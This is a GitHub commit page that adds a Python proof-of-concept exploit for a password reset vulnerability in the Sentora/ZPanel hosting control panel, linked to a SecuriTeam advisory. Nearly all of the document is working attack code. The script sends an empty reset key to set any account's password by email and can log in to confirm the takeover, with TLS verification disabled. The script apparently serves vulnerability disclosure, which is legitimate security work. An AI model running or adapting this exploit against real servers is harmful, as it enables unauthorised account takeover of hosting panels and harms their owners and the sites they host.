Skip to content

Commit 374c5ac

Browse files
authored
Sentora/ZPanel Password Reset Vulnerability
https://blogs.securiteam.com/index.php/archives/3386
1 parent 15deef9 commit 374c5ac

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed

zpanel_resetagain.py

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
#!/usr/bin/env python3
2+
# pylint: disable=C0103
3+
#
4+
# requires requests and lxml library
5+
# pip3 install requests lxml
6+
#
7+
import sys
8+
from urllib.parse import urljoin
9+
import lxml.html
10+
import requests
11+
12+
try:
13+
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
14+
except:
15+
pass
16+
17+
if len(sys.argv) < 4:
18+
print("")
19+
print("usage:")
20+
print("%s http://target/ email newpassword [username]" % sys.argv[0])
21+
print("")
22+
print("If username is specified then login will be attempted to verify password change.")
23+
print("")
24+
sys.exit()
25+
26+
TARGET = sys.argv[1]
27+
USER_EMAIL = sys.argv[2]
28+
USER_NEWPASS = sys.argv[3]
29+
USER_NAME = sys.argv[4] if len(sys.argv) > 4 else ""
30+
31+
32+
def get_form(getpath, formname, params=None):
33+
resp = session.get(urljoin(TARGET, getpath), params=params)
34+
tree = lxml.html.fromstring(resp.content)
35+
form = tree.xpath('//form[@name="%s"]' % formname)
36+
if not form:
37+
return None
38+
form = form[0]
39+
formdata = {}
40+
for element in form.xpath('.//input'):
41+
formdata[element.name] = element.value if element.value else ""
42+
return (form.action, formdata)
43+
44+
45+
def post_form(formaction, data, params=None):
46+
return session.post(urljoin(TARGET, formaction), params=params, data=data, allow_redirects=False)
47+
48+
49+
session = requests.Session()
50+
session.verify = False
51+
52+
print("Get reset form")
53+
form = get_form("/", "frmZConfirm", {"resetkey": "dummy"})
54+
55+
print("Reset password")
56+
formaction, formdata = form
57+
formdata["inConfEmail"] = USER_EMAIL
58+
formdata["inNewPass"] = formdata["inputNewPass2"] = USER_NEWPASS
59+
resp = post_form(formaction, formdata, {"resetkey": ""})
60+
61+
if USER_NAME:
62+
#session.cookies.clear()
63+
print("Test login")
64+
print("Get login form")
65+
form = get_form("/", "frmZLogin")
66+
67+
print("Login")
68+
formaction, formdata = form
69+
formdata["inUsername"] = USER_NAME
70+
formdata["inPassword"] = USER_NEWPASS
71+
resp = post_form(formaction, formdata)
72+
if "invalidlogin" in resp.headers.get("location", ""):
73+
print("Failed!")
74+
sys.exit()
75+
print("OK")
76+
session.get(urljoin(TARGET, "/?logout"))

0 commit comments

Comments
 (0)